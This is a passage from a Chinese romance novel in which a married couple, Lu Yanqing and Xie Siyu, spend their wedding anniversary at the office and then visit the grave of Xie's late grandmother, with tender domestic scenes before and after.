邹筱拿着菊花回到车里,恰好这时收到了谢思虞发来的信息。 「昨天回来的。」 「我替外婆谢谢你。」 「我们下午去墓园祭拜。」 “还真是一句多余的话都不愿意说。” 邹筱扯唇笑了笑,删除和谢思虞的对话内容,锁屏后把手机扔在中央储物盒里,启动引擎离开。 另一边。 谢思虞坐靠在床头,面无表情删掉对话框,攥紧手机,指尖无意识扣着金属边框。 脑海中浮现出头发花白的外婆,还有她佝偻的身躯,眼眶渐渐被一层薄薄的雾气氤氲。 独自消化情绪。 直到听到外面走廊传来脚步声,她才揉了揉发红的眼睛,掀开被子穿上拖鞋往浴室方向走。 陆言卿推开卧室门,正好听到浴室门关上的声音,扭头看去,果不其然,里面的照明灯开着。 走过去,轻叩:“阿虞,洗漱好就出来吃早餐。” 「好。」 里面传来谢思虞很轻的回答。 陆言卿在门口站了会儿,想到自己绕去药店买的药膏,踌躇片刻还是开口:“你还疼吗?我买了药膏回来。” “我把药膏放在外面的柜子上,如果还疼,阿虞就对着镜子涂抹。” 陆言卿知道谢思虞害羞,便不再坚持帮她涂,但下面的肌肤很柔嫩,要是真的红肿疼痛,涂抹药膏会好的快些。 说完还是不放心,又连忙补充,“我会心疼,所以阿虞别逞强,嗯?” 谢思虞站在洗手池前,听到陆言卿温和平静的话,确实难为情,然而也明白那人是担心自己。 握紧手里的牙刷,侧过头看向浴室门方向。 不难看出陆言卿还在外面。 她在等自己的答复。 耳尖微微泛红,好半晌才支支吾吾“嗯”了一声。 第43章 我是陆言卿,是阿虞的妻子。 半个小时后。 谢思虞洗漱好从卧室出来, 上衣是一件绸面缎浅灰色长袖衬衫,搭配黑色直筒小脚西装裤,长发用鲨鱼夹固定在脑后, 整个人优雅又温婉。 9支浅粉色,红色的玫瑰花插在磨砂玻璃花瓶里,花茎上尖刺被仔细打理过, 最外侧一支粉荔枝花苞微微绽开,露水顺着柔软的花瓣滑到木质餐桌上。 谢思虞来到餐桌前, 拨弄玫瑰花的花瓣,抬眸看向料理台后的陆言卿,眉眼弯弯, 眼神温柔:“卿卿买的?” “嗯, 给阿虞道歉,昨晚我做了蠢事。” 陆言卿没有找借口, 做错了就是做错了,刚才路过花店,就是想买一束玫瑰花给谢思虞道歉。 “玫瑰花我很喜欢,谢谢卿卿。” 谢思虞莞尔一笑,半句没提昨晚的事情。 撩了撩耳边的碎发,想到刚才在床上对着镜子涂抹药膏的画面,脸颊又开始隐隐发烫, 掐了掐掌心的软肉,迫使自己不要再胡思乱想。 绕过餐桌来到陆言卿身边。 料理台上放着砧板, 上面有处理好的牛油果果肉, 玻璃碗里苹果和胡萝卜……嗯, 切的很可爱。 “我想着打两杯果汁。” 注意到谢思虞的目光,陆言卿扫了眼垃圾桶里被她切得坑坑洼洼的半颗苹果, 尴尬地眨眨眼睛。 榨汁机又发出闷响,她赶紧摁住顶盖,胡萝卜块卡在刀片间,牛油果打出的青绿色泡沫黏在杯壁上面,总之就一言难尽。 “锅里的面条应该可以了,卿卿去捞面条吧,这里交给我。” 谢思虞抽走陆言卿手里的榨汁机,指尖抹过盖子边缘溢出的汁液。 这个动作让陆言卿想起昨天在浴室,她抹去谢思虞眼角泪水的画面,想到对方妙曼旖旎的身子,心脏扑通扑通猛跳了好几下,捏了捏发烫的耳垂,转身去处理锅里的面条。 先关掉天然气灶的开关,陆言卿盯着锅里翻滚的面条,用筷子挑起一根尝尝软硬,几息后比较满意地点点头:“时间刚刚好,软硬适中。” 民宿老板娘厨艺好,直接用眼睛看就知道面条是否可以出锅,她可不行,只能用最笨的方法。 从消毒柜拿出两个粉边碗,小心翼翼将锅里的面条夹到碗里,蒸腾的热气涌上来,闻到海鲜面的鲜美,陆言卿颇为自豪。 这是她唯一拿得出手的厨艺。 虽然学习的过程不美好,手臂上还留着浅浅的烫伤痕迹,但谢思虞喜欢吃,她就觉得一切都值得。 “卿卿煮海鲜面是越来越厉害了。” 陆言卿把两碗面条端到餐桌,谢思虞这边也关了榨汁机,将榨好的果汁倒入玻璃杯中,又用厨房纸巾擦拭干净杯子外的水渍。 端着果汁来到餐厅,放一杯在陆言卿右手边,拉开餐椅坐下。 清晨醒来就能吃到妻子亲手煮的面条,怎么能不幸福呢? 谢思虞放下果汁,没着急动筷子,而是侧过身体,抬起双臂搂抱住陆言卿的腰,下巴轻轻搁在她肩膀上,嗓音温柔但又夹着一丝不易察觉的艰涩:“卿卿,你真好。” 有你在身边,真好。 陆言卿弯眸笑了笑,亲昵地捏了捏谢思虞柔软的耳垂,眼神宠溺又温柔:“因为阿虞也很好,好了,快吃面条。” 谢思虞面对陆言卿温情脉脉的笑容,毫无抵抗之力,一颗心软的一塌糊涂:“好,我一定把面条都吃完。” 她确实有点饿了。 窗外的天灰蒙蒙的,然而此刻,她的心情却是极好。 上午8:35分。 陆言卿开车抵达陆氏集团,直接将车辆开入负一楼停车库,她们还在半路上,哗哗的大雨就落了下来。 因为要开车她穿的是平底单鞋。 后备箱打开,从鞋盒里拿出一双3cm的黑色细高跟换上。 “卿卿看什么?” 谢思虞从副驾驶下来,拎着包等候在旁边,见陆言卿盯着她脚看,也跟着垂下眼睑。 好像并没有什么不对劲。 她们相处一段时间,她才知道谢思虞跟她有相同的习惯,都会在车里多备两套衣服和鞋子。 翻找一通,总算找到一双柔软舒适的豆豆鞋。 “阿虞也换一下?” 说着拿着平底单鞋蹲在谢思虞面前,陆言卿稍稍仰头看向对方,温柔解释,“我们穿一样的鞋码,这双是新的。” 谢思虞稍微愣了下,反应过来陆言卿让她换鞋的原因,抓着包包带子的手紧了紧,静默片刻,轻声拒绝:“没关系的卿卿,我涂抹了药膏,回办公室后大部分时间也是坐着。” 陆言卿坚持:“今天周四,不用开会,况且下午我们还要去医院,去墓园。” 原本她让谢思虞在家里休息半天,下午她回江海澜苑接她去医院,却被拒绝了。 “好吧。” 现在是上班时间,负一楼停车场陆陆续续有陆氏集团的员工出现,谢思虞没有再纠结,扶着一旁的车门。 垂眸发现陆言卿后颈有两道淡红的抓痕,藏在了微卷的发梢底下。 那是——昨晚她动情时抓的。 走神两秒,陆言卿就握住了她右脚脚踝。 “抬脚。” 陆言卿脱掉谢思虞脚上的高跟鞋,掌心托住她的足跟,拇指无意识摩挲脚背凸起的骨节。 痒意袭来,谢思虞扶着车门的手指骤然收紧,此时此刻陆言卿只是蹲在她面前帮她换鞋而已。 可她脑海中却不受控制浮现出昨天在浴室的画面。 她站在花洒下,而陆言卿就跪在她面前…… 不能再想了。 只是想,双腿便有些发软。 “好了。” 陆言卿帮谢思虞穿好豆豆鞋,将高跟鞋放进鞋盒里,关上后备箱,按车钥匙锁了车。 距离她五六米远,一辆黑色宝马车缓缓停在停车位上,江泠月从驾驶座下来,显然也看到了陆言卿,颔首跟她打招呼。 陆言卿也冲对方招了招手,抬脚就要往电梯方向走,发现谢思虞还保持刚才的姿势,眉眼低垂,也不知道在想什么,脸颊和耳根都红了。 歪头凑到她面前,果不其然看到谢思虞羞窘闪躲的目光,陆言卿若有所思地眨眨眼,打趣道:“阿虞想到什么了,脸这么红。” 谢思虞假装没看到陆言卿眼底的戏谑,慌乱转身,脚下的步子飞快,很快走在了前面,闭紧嘴巴就是不吭声。 “阿虞喜欢我那样亲你吗?” 陆言卿又不傻,很快明白谢思虞为什么会脸红耳热,大步流星上前来到她身侧,两人并排着往前走,在谢思虞要逃走时,眼疾手快握住她的手。 食指轻轻磨挲对方的掌心,很快转为十指紧扣。 低头凑到谢思虞耳畔,呵气如兰,等不到答案又问了一次,“阿虞怎么不说话?我可是很喜欢亲……” “我喜欢。” 她们已经来到电梯间,江泠月也在等电梯,谢思虞攥紧陆言卿的手,娇嗔地瞪她一眼,“不许再说了!” 陆言卿抿唇轻笑,原来阿虞生气也这般可爱,乖乖站好,且做了一个封口的动作。 只是大拇指指腹轻轻磨挲谢思虞的手背,似安抚,又好似是挑-逗。 一旁江泠月将两人亲密且自然而然的互动看在眼里,扶了扶鼻梁上方的镜框,嗓音平静:“陆总和谢副总休假一个礼拜,似乎收获颇丰。” 陆言卿脑袋稍稍后仰,从后面看向右手边的江泠月,忍不住八卦:“回来忘记问学姐,三年过去你脱单了吗?” 江泠月轻哼:“陆总有合适的人选,可以介绍给我。” 她只不过是调侃一句,这火就烧到她身上,还真是一如既往护犊子。 叮的一声。 电梯抵达负一楼。 陆言卿和谢思虞走在前面,而江泠月走到后面,就在电梯门要关上时,外面传来喊声:「麻烦等等!」 站在外面的江泠月按了开门键。 关上的电梯门再次打开,匆忙跑来的人正好是人事部总监沈砚清。 她看到电梯间几人,显然也是愣了下,拎着咖啡走进电梯,微微颔首:“陆总,谢副总,江总监……早上好。” “沈总监早餐就一杯咖啡?” 财务部和人事部一个在13楼,一个在14楼,虽然两个部门挨着,但她们私下很少接触,见面通常都是在会上。 江泠月不喜欢八卦,但在茶水间总能听到关于沈砚清的传闻,员工们私下给她取外号:福利体系魔女。 还是行走的人形测谎仪,只要连续两个月考核不及格,就会被辞退。 半点不讲情面。 沈砚清在外人面前十分高冷,根本不像在谢思虞跟前那般八卦,此刻就回了江泠月一个字:“嗯。” 气氛一时尴尬。 电梯抵达1楼,门外乌泱泱站满陆氏集团的员工,当众人看到里面四人,哪怕脸上再焦急,脚下步子也跟生根一般,不敢往前走半步。 不知道后面谁推搡了下,站在最前面的员工一个踉跄,差点跌倒,好在旁边的朋友讲她扶住。 “江总监,沈总监,你们先请。” 沈砚清扫了眼女生眼中的慌乱,不用听都知道大家此刻丰富的内心活动,索性按了关门键,让电梯继续上行。 很快,电梯抵达13楼,江泠月率先走了出去,抵达14楼,沈砚清也相继离开。 电梯壁上显示屏就只有数字32亮着。 空旷的电梯间,还隐约弥漫着咖啡的味道,陆言卿捏了捏谢思虞的指尖,笑着说:“沈总监 ……前后反差挺大呀。” 她们在A市游玩那几天。 偶尔也见谢思虞在微信上跟沈砚清聊天,聊天页面上多半都是沈砚清发五六条信息,谢思虞才“高冷”回复一两个字。 谢思虞闻言解释:“她在大学期间更……活泼外向。” 想了想措辞,最后用了这两个词语,委婉一点表达就是活泼外向吧。 “进入陆氏集团就被我任命人事总监,怕太平易近人降不住手下员工。” 陆言卿眯着眼睛笑笑,没再评价。 每个人都有自己为人处事的一套。 她没资格说好或不好。 回到办公室。 还有10分钟九点,陆言卿没着急处理工作,而是来到沙发休息区煮茉莉花茶。 等到花茶煮好,倒了一杯送到谢思虞办公室。 不打扰她办公,很快退了出来。 正好魏洁抱着一踏文件走向她,手里还拿着一个红色的礼盒。 “陆总,这是「星寰腕表」A市店店长送过来的谢礼。” 进入总裁办,魏洁把礼物放在办公桌上,顺便把各个部门交上来需要签字的文件一并放下。 陆言卿打开电脑,目光在红色正方形礼盒上停留两秒,随后便移开视线,翻开最上面的文件夹,是销售部上半个月的业绩总结。 “还有事?” 见魏洁没有离开,陆言卿抬眸看向她。 魏洁意识到自己失态,连忙摇头:“没有,陆总您忙,我先出去了。” 走到门口又停下来,回头看了眼正在浏览文件的陆言卿,终究什么都没说,推门离开办公室。 陆言卿很快也进入到工作状态中,埋头处理文件,等到把所有文件都确认签字,打开工作邮箱,看到「星寰腕表」亚太地区总负责人发给她的致歉邮件,才明白A市那边店长为何要给她送“谢礼”。 礼物,不是道谢,而是道歉。 拿到跟前打开,正方形礼盒里面是一对情侣手表,表盘周围镶嵌着碎钻,一只手表底盘是白色,一只是粉色,仅从外观而言,优雅漂亮,贵气十足。 要是没有记错,这款情侣表是「星寰腕表」今年推出的限量款,全球仅有500对。 倒也算有收藏价值。 不过她不打算更换手表,陆言卿垂下眼睑,抚摸上左手手腕上的机械表,这是谢思虞送给她的新婚礼物。 三年前的今天,那人亲手给她戴上。 甚至跟着她一起穿越三年的时空,如今她仍然戴着。 表盘边缘刻着烫金的“LYQ”缩写,全世界独一无二。 “请进。” 陆言卿飘远的思绪被敲门声拉回来,她把礼盒的盖子盖上,拉开右侧最下方的抽屉,将情侣腕表装了进去。 抬头看向进来的人,眸光微闪:“你怎么过来了?” 妹妹陆言薇穿着碎花连衣裙,外面是一件黑色的针织外套,蝙蝠袖设计,微卷的长发披肩,看起来落落大方又乖巧。 她两只手都拎着东西,右手是一个6寸的蛋糕,左手是两个购物袋。 陆言薇见办公桌上没有多余的地方,便拎着东西来到沙发休息区,把蛋糕放茶几上,购物袋放沙发。 “今天我轮休,正好是姐和嫂嫂的结婚纪念日,原本爸爸想让你们回家吃饭的,又怕打扰你们二人世界,所以我就不请自来了~” 陆言薇来到办公桌前,拉开椅子坐下,脸上挂着温和甜美的笑:“姐,怎么感觉你不欢迎我?” 见陆言卿眉头微蹙,她说话声音也越来越小。 蛋糕可是她跟刘妈学习了好久,这是做的最好看最成功的一个。 购物袋里的连衣裙也是她亲自挑选的,提前半个月就准备了呢。 陆言卿盯着妹妹看了会儿,好半晌才意识到一件事,妹妹,还有祖父祖母,他们都不知道今天除了是她和谢思虞的结婚纪念日,还是阿虞外婆的忌日。 眼底眸光一点点黯淡下来,陆言卿放在办公桌下的手捏紧了签字笔,几息后嘴角勾起浅笑,故作轻松道:“没有不欢迎,谢谢你带来的礼物和蛋糕。” 陆言薇眨眨眼睛,单手托腮,悬着的心在看到姐姐脸上的笑容时,总算落了下来:“蛋糕你和嫂嫂一定要尝尝,我自己做的。” 陆言卿看向不远处茶几上的蛋糕,似乎是爱心形状,淡粉色奶油,底部裱着玫瑰花瓣,最上面还有两个穿婚纱的娃娃。 一看就是用了心的。 眼底的目光软了又软:“算算时间,你是不是要转正了?” 陆言薇正要说这件事,没想到姐姐还记得,澄净的杏眼里露出激动和欣喜来:“嗯,下周一正式转正。” 妈妈虽然嘴上说不喜欢她当医生,但知道她马上要正式转正了,便让她邀请朋友和同事到家里玩,也算为她庆祝。 垂眸看到办公桌上堆积如山的文件,陆言薇咬了咬唇,有点不敢跟姐姐说。 她只是转正而已,母亲就为她举办宴会,而姐姐身为集团总裁,每天要处理大量的工作,面对巨大的压力,就连跟嫂嫂的结婚纪念日都还要上班。 心里头愈发不是滋味。 “怎么了?” 陆言卿见妹妹低头不语,不停扣着手指,这动作模样跟小时候一模一样。 微微叹息一声,笔头敲了敲桌面,“有事就说。” “我……周一晚上要邀请朋友和同事到家里吃饭,姐,你和嫂嫂不忙的话,能不能也回家?” 陆言薇犹豫不决,听到声响猛然抬眸,对上姐姐凝肃的目光,就跟上学时在课上开小差,被班主任叫起来回答问题一样。 大脑不受控制就把话全说了出来。 “周一晚上?” 还有三四天,陆言卿不确定到时候有没有其他事情,见妹妹一副要哭出来的模样,委婉道,“如果有时间,我会带你嫂嫂回家。” “好。” 陆言薇撑着桌面站起身来,指了指隔壁办公室,“嫂嫂在隔壁吗?我来都来了,不过去打招呼好像说不过去。” 陆言卿叫住妹妹:“阿虞正在跟A市那边夏总开会,你好不容易轮休,回家休息,或者找朋友聚会?” 陆言薇眨眨眼,姐姐都这般说了,她自然不好再去打扰谢思虞:“那好,姐,我先走了,你们忙。” 陆言卿起身送妹妹到外面的电梯门口,按了墙壁上下楼的按键,温柔叮嘱:“回去路上小心,到家给我说一声。” 陆言薇双手抓着斜挎包的带子,乖巧地点点头:“嗯。” 旁边秘书办公区有人偷偷打量她,她始终不卑不亢,身为陆家的女儿,哪怕她没有姐姐这般厉害,也不能给姐姐丢脸。 等妹妹进入电梯。 陆言卿眼底神色黯然下来,转身正好看见江晓晓抱着文件夹站在打印机前,手机藏在文件夹里,偷摸往这边拍照。 被她抓包后,尴尬地笑笑,重新坐回去工作。 陆言卿不明白谢思虞为什么要瞒着大家她外婆去世的消息,整个秘书部,或许就只有刘瑶一个人知道真相。 迈着沉重的脚步回到办公室。 沙发休息区,岩板茶几上的蛋糕确实做的很漂亮,仅有6寸,她和谢思虞也吃不完。 可今天……并不适合吃蛋糕。 谢思虞瞒着她的家人,她不知道她有没有其他考量,自然不好越俎代庖,所以刚才找了借口把妹妹支走。 “言薇过来怎么没……告诉我。” 谢思虞挂断电话,抬眸正好见陆言薇进入电梯的背影,将电脑上文件保存,这才过来找陆言卿。 看到她手里拎着的蛋糕,睫羽微颤,将复杂的情绪压下去,握住陆言卿的手腕在沙发上坐下来。 从陆言卿手里接过蛋糕,笑着问:“卿卿这是想把蛋糕拿到哪里去?” 陆言卿讪讪地摸了摸鼻尖,她确实想趁谢思虞不注意把蛋糕拿出去,让魏洁拿到楼下茶水间冰箱保存起来。 毕竟是妹妹亲手做的蛋糕,今天不能吃,那就放到明天再吃。 只是没想到谢思虞这个时候过来,一时间慌乱无措,难免心虚。 “言薇专程送过来的,带了蛋糕和礼物。” 陆言卿挨着谢思虞坐下,双手握在一起,偏头看向她,很轻地问,“为什么要瞒着爷爷他们?” 谢思虞放下蛋糕,解开盒子上方的蝴蝶结,将最外面的透明罩拿开,食指轻轻戳了戳蛋糕上面两个穿婚纱裙的娃娃。 眼底露出浅浅的笑意来:“大概就是……不像祖父他们跟卿卿现在一样,今天是外婆的忌日不错,但也是我们的结婚纪念日,不是吗?” 她是难过。 但同时也很高兴。 筹谋许久,终于嫁给了最喜欢的人。 哪怕当初她和谢思虞领证时,她并不喜欢自己。 之所以不愿意告诉谢明远一家人,只是不想他们去打扰外婆,就算他们去墓园祭拜,也不过是做表面功夫,并非真心,既然如此她又何必告知? 至于为什么没有告诉陆爷爷和陆伯伯他们,一来是两位老人年事已高,二来是不想他们觉得愧对于她。 “阿虞。” 陆言卿越是见谢思虞这幅风轻云淡的模样,越是心疼。 握住她的手腕,将人揽入怀中,她知道她没有说谎,可至亲之人离世,又岂会无动于衷? 谢思虞依偎在陆言卿怀里,耳畔是她强有力的心跳声,真的很安心。 闭上眼睛,掩了眼底晦暗的情绪。 就三分钟。 她只允许自己消沉三分钟。 她知道自己在微笑,可陆言卿又岂会看不出她在故作坚强? 唯一对她好的外婆,离开了,她甚至都没能来得及带陆言卿去见她。 老人家到死,都在担忧她是不是幸福。 所以,又怎会没有遗憾? “我们下午就去墓园祭拜外婆,她看到我和卿卿感情笃深,肯定会很开心的。” 谢思虞从陆言卿怀里退出来,见她微蹙的眉心,抬起手指尖轻轻按压,“卿卿别蹙眉。” 确定陆言卿没有再因此纠结难过,谢思虞拿出袋子里的碟子和刀叉,回头对陆言卿说:“早上吃了卿卿煮的面条,现在还不是很饿,蛋糕只能吃一点。” 拿下最顶端的两个娃娃,谢思虞握着塑料刀切进奶油层时,想到什么,胳膊肘轻轻碰了碰陆言卿的腿:“我们一起切好不好?” 此时此刻。 陆言卿又岂会说不好? 眼底露出一抹宠溺的笑,从后面环住谢思虞,握住她的手一起往下用力,底部奶油玫瑰花被切成两半。 鼻尖蹭到谢思虞耳后的碎发,陆言卿眼神温柔,唇瓣贴近她耳畔,很轻很轻的说:“阿虞,对不起。” “今后我们每一个结婚纪念日,我都会陪着你。” 谢思虞蹲在地上,整个人被陆言卿轻轻环抱着,闻到她身上淡淡的山茶花香,耳边是她郑重的承诺。 这一刻,心好像泡在温暖的水里,整个人都暖暖的。 可想到过去两年的等待,鼻尖有点泛酸。 强行压下酸涩的情绪,用食指抹了点奶油,转身点在陆言卿鼻尖,浸染了雾气的眼眸带着温柔璀璨的笑意,如星辰般耀眼。 她说:“卿卿说过的每一句话我都记得,卿卿自己也不许忘记。” 陆言卿倾身过去,抬起谢思虞的下巴,温柔地含住她的唇瓣。 鼻尖上的奶油也蹭到谢思虞脸上,她温柔一笑,又捧着对方的脸颊,温柔,耐心,眷念地吻掉那些奶油。 “好,我答应阿虞。” “一定不会忘记。”- 下午2点。 副总办公室。 此时坐在办公桌前处理文件的人是陆言卿,谢思虞正在里面休息室午睡。 当然了,这是咱们陆总“强行”要求的。 刘瑶敲门后进来,身后跟着市场部员工杨白,他是陆言昭的助理。 “陆总,市场部杨助理有事找您。” 陆言卿目光从电脑屏幕上移开,看向刘瑶右侧站着的男子,市场部杨助理? 恍然想起这人是陆言昭的助理,言语冷清问:“有什么事?” 杨白刚才被陆言昭一通羞辱,衬衫下摆还有对方泼的咖啡渍,可以说是狼狈不堪,然而他就是打工的牛马,必须要听老板的吩咐。 把市场调研报告还有活动方案放在陆言卿面前,硬着头皮转述陆言昭的话:“陆总,我……陆副总监让我来问您,这份方案不能通过的原因。” 啪嗒。 签字笔被陆言卿仍在办公桌上,见杨助理苍白的脸色,一直低垂着头甚至不敢看她的目光,无奈叹息。 翻开市场调研报告第4页,面色凝肃:“调研报告上的数据确定真实可靠?怕不是从哪个网站上扒下来的数字,还是两年前的。” “他陆言昭是猪脑子?报告上数据是不是真实的都不知道?数据是能作假,后期活动该有的效益能作假吗?” “他要是在市场部副总监的位置上坐久了,我可以通知人事部,让有能力的人顶上去。” 还方案为什么不通过? 陆言卿简直要气笑了,指着桌上的文件夹,让他赶紧拿走。 眼不见为净。 陆言昭是半点没遗传她二叔的脑子,只会狐假虎威。 怕是从市场部随便挑一个员工,都比他陆言昭要精明。 等两人离开办公室。 陆言卿端起左手边的陶瓷杯,到嘴边才发现里面的花茶已经喝完了。 刚起身准备去书柜前倒水,一旁休息室的门就被打开了。 “是不是我吵醒你了?” 陆言卿蹙眉,她刚没有控制住脾气,说话声音好像有点大了。 谢思虞轻轻摇头:“没有,我都快睡两个小时了。” 用手指理了理微卷的长发,来到陆言卿面前,接过她手里的陶瓷杯,端起茶壶倒水。 “陆言昭最近难得安分,恐怕也是被陆二叔警告过。” 她们休假一个礼拜,如此好的时机,陆言昭都按兵不动,没有闹出幺蛾子,这可不像他一贯的作风。 陆言卿等谢思虞喝了两口水,才从她手里拿过陶瓷杯,重新坐到办公椅上,想到前不久祖母在老宅跌倒,眼神变得复杂:“谁知道呢,大概是做了亏心事。” 祖母有意瞒着她,但祖父那里想必是瞒不住,二叔估计也是被祖父“提点”过,最近才格外老实本分。 天气预报难得准确。 淅淅沥沥的小雨从早上持续到现在。 落地窗外的一切都灰蒙蒙的。 陆言卿拉着谢思虞坐在腿上,扫了眼电脑右上角的时间,问她:“事情都处理的差不多,我们现在去医院吧。” 因为晚些还要去郊外墓园,她刚在手机上导航,发现开车需要50分钟。 瞧着雨不知道会不会停,如果傍晚时分下大暴雨的话,她们在墓园祭拜外婆总归是不方便。 谢思虞渐渐习惯了陆言卿的拥抱,如今她抱自己,不会再像之前那般面红耳热,但在办公室这般亲密,虽然百叶窗关着,万一刘助理进来看到这一幕。 多少不太好。 正想着从陆言卿腿上下来,偏偏抱在她腰上的手臂不允许,谢思虞无奈抿唇,只好由某人乖乖抱着。 “我和余医生约的是下午4点。” 陆言卿左手搂着谢思虞的腰,右手操控手机,打开天气预报,看到什么后屏幕拿给对方看:“下午5点有阵雨,要不我们先去墓园,明天再去医院找余医生?” 谢思虞看向落地窗外。 天空乌云笼罩,黑压压悬在城市上空,让人心情无端压抑。 想了想同意陆言卿的提议。 微信上联系余霁医生。 表示她们明天再去医院复诊。 二十分钟后。 陆言卿和谢思虞坐上了前往北郊墓园的车,避免突发状况,她让陆氏集团安保组一名员工开车送她们。 “外婆有什么特别喜欢的点心吗?” 宾利车后排,陆言卿握着谢思虞的手,中午她让刘瑶购买了黄白色的菊花和一些苹果放在后备箱里。 谢思虞抬眸看向车窗外,静默片刻才说:“城南大街十字路口有一家糕点铺,等会儿买些板栗糕吧。” 其实她每个周六晚上都会去养老院看望外婆,早些年外婆牙口还好,她会带一些板栗糕,最近两年外婆年龄大了,肠胃消化没那么好,她就极少带。 “好。” 陆言卿拍了拍驾驶座的靠背,提醒司机在南大街十字路口停车。 差不多十分钟后,车辆停在路边,陆言卿左手边的车门,撑开雨伞的同时对谢思虞说,“你在车里,我去买。” 谢思虞低头看了眼脚上的平底单鞋,只是犹豫了两秒,车门就被陆言卿关上,握了握拳,没有跟着下车。 窗外的雨淅零淅留,透过车窗玻璃看向外面,陆言卿撑着一把黑色的雨伞走向糕点铺。 只见她指着橱柜对老板说了什么,又拿出包里手机对着橱柜上方的二维码付款。 很快从老板手里接过袋子,转身往车这边走。 谢思虞看着这一幕,心脏好像被一只无形的大手轻拽了下,不疼,却异常肿胀难受。 眼睫颤动,眼底很快有水汽涌上来,用力攥紧了身上的风衣。 终究没能忍住。 眼泪无声滑落,在陆言卿开门的瞬间,她急忙擦拭掉眼角的泪水,嘴角挤出一抹浅笑:“谢谢卿卿。” 外婆,您看到了吗? 我带喜欢的人来见您了。 我没有撒谎,陆言卿真的很好,很好,她值得外孙女喜欢。 如果外婆在天有灵,请您一定要保佑小鱼。 让小鱼费尽手段偷来的幸福,能维持的久一点。 再久一点。 抵达北郊墓园时,雨竟然停了。 陆言卿陪着谢思虞来到她外婆的墓碑前,用纸巾擦干净墓碑上的水珠,才把准备好的菊花,水果和糕点放在地上。 “外婆,这是卿卿。” 谢思虞坐在墓碑旁,抚摸上面黑白底色的照片,笑着跟老人家介绍陆言卿。 雨伞放在一旁。 陆言卿也跟着蹲下来,握住谢思虞的手,目光温和带着敬意:“外婆您好,我是陆言卿,是阿虞的妻子。” “很抱歉现在才来看望您。” “今后阿虞有我照顾,外婆您可以放心。” “要是……要是我今后欺负她,您就来我的梦里“教训”我。” 听到这里谢思虞没忍住轻笑出声,捏了捏陆言卿的指尖,哭笑不得:“外婆要是真的入卿卿的梦,你肯定会被吓哭。” 陆言卿不以为然地眨眨眼睛,轻轻揉了揉谢思虞的头,宠溺道:“被吓哭也是我活该,谁让我欺负阿虞了呢?” 谢思虞沉重的心情因陆言卿一句玩笑话,轻松了不少。 也明白她是变相安慰自己。 正要说什么,陆言卿却抢先一步开口,“那你陪外婆说说话,我去旁边等你。” 想说没关系。 陆言卿已经拿着雨伞站起身,谢思虞叹息一声,张了张嘴巴最终没有挽留。 确实有很多话想对外婆说。 也只能对外婆说。 陆言卿来到右侧的台阶上,回头看六七米距离远的谢思虞,她缓缓抱住腿,把头埋进膝盖里。 也许是在哭,也许是在跟老人家说体己话。 她用力攥紧了手里的雨伞。 如果她没有穿越时空就好了,那样她便能握住老人家的手亲口承诺,她会把谢思虞照顾好。 不让她哭,不让她委屈。 余生,只要她在,便会给她幸福。 时间慢慢流逝,很快来到傍晚6点。 半山腰的风很凉。 谢思虞外面穿着羊绒大衣,应该不会冷。陆言卿只是担心她哭久了,身体会受不住,正犹豫要不要去叫她。 身后便传来脚步声。 “卿卿,我们回家吧。” 谢思虞从后面上来牵住陆言卿的手,许是吹了很久的风,她们的手都有点凉。 陆言卿显然也意识到这点,握住谢思虞的手装进大衣口袋里,两人搀扶着往山下走。 市区方向,天空依然被乌黑笼罩,看微信朋友圈,集团员工群有人发视频,大楼外暴雨如注。 倒是郊区没有下雨。 谢思虞整理好心情,上车后询问陆言卿:“晚上卿卿想吃点什么?” 虽然她穿着3cm的低跟,但在台阶上站了一个多小时,就算有小幅度的扭动脚踝关节,但小腿肚也有点酸痛。 陆言卿坐在柔软的真皮座椅上,靠着靠背,有种活过来的错觉。 怕谢思虞担心,并没有表现出来,只是轻轻扭了扭脚。 “我都可以,阿虞想吃中餐我们就去竹香居,想吃西餐就去Halo。” 谢思虞没错过陆言卿细微的小动作,突然很自责,忘记陆言卿是穿着高跟鞋等她。 傍晚时分,再加上阴雨天,光线比较黯,她打开车厢上方的顶灯,同一时间将车内隔板升了起来。 “我帮你揉揉。” 陆言卿右腿被谢思虞握住,很快搭在了她腿上,还愣神的时候,脚上的鞋子也被对方轻轻脱下来。 谢思虞力道适中按压她的小腿肚,顷刻间一股酥麻感席卷全身,陆言卿下意识抓紧衣服下摆,深呼吸几口气,拒绝的话到嘴边变成了“谢谢”两个字。 或许,这种时候,能分散阿虞的注意力也好? 第44章 阿虞别害羞,我是病人 晚上10:30分。 陆言卿和谢思虞从私房菜竹香居用过晚餐回到江海澜苑, 刚进入玄关,陆言卿还没来得及换拖鞋,就连续打了两个喷嚏。 “是不是着凉了?” 谢思虞把换下来的平底单鞋放进鞋柜里, 听到陆言卿打喷嚏,眼底闪过一抹担心,从抽纸盒抽了两张纸巾递给她。 陆言卿吸了吸鼻子, 在软椅上坐下来,去墓园时她也穿着羊绒大衣, 只不过里面是长袖衬衫搭A字半身裙。 “应该没事,没准儿是谁在背后说我坏话。” 陆言卿不以为然笑了笑,换上柔软舒适的拖鞋, 站起身握住谢思虞的手, 牵着她往客厅方向走,“阿虞别担心。” 主要她也没有那里不舒服。 客厅通往阳台的玻璃门关着, 阳台上一盆龙血树细长葱绿的叶片在空中猛烈摇晃。 大雨还在继续。 今天降温,郊外温度更低。 虽然当时墓园没有下雨,但陆言卿站在台阶上等她,正好是风口。 谢思虞在陆言卿坐下后,双手捧着她的脸颊,突然弯腰低头,闭上眼睛, 眼皮贴上对方光洁饱满的额头。 “阿虞……痒。” 馥郁的橙花香扑面而来,陆言卿诧异地眨眨眼, 着实没想到谢思虞会用这种方式来检查她有没有发热。 下意识抬起双手扶着对方的腰, 眼底露出温柔的笑意来, 随着谢思虞弯腰的动作,她微卷的长发扫过她的颈脖。 弄的她痒痒的。 “没有发烧。” 谢思虞面色凝重松开陆言卿, 还是有点不放心,起身去翻电视柜下方第二个抽屉。 拿出医药箱,很快找到压在最下面的感冒冲剂,谢思虞捏着包装袋仔细看上面的生产日期,客厅顶灯下,她卷翘的睫毛在眼底投下一片阴影。 确定没有过期,才拿着感冒冲剂去厨房。 陆言卿看到这一幕,张了张嘴终究没有出言阻止,任由谢思虞为她“忙上忙下”。 只是眼神变得更柔软了些,同时心里头暖暖的。 有人关心自己的感觉,很好。 想起来上午妹妹提到沈女士因为她转正要为她举办宴会时,那副欲言又止的模样。 突然嘴角扯出一抹自嘲。 妹妹为什么会觉得愧疚? 不过因为同样都是亲生女儿,沈女士自小就偏爱妹妹罢了。 在那个其乐融融的家里,她才是那个外人。 脱掉拖鞋盘腿坐在沙发上,陆言卿随手抓了个靠枕抱着,半开式厨房方向传来勺子碰着杯壁发出的声响。 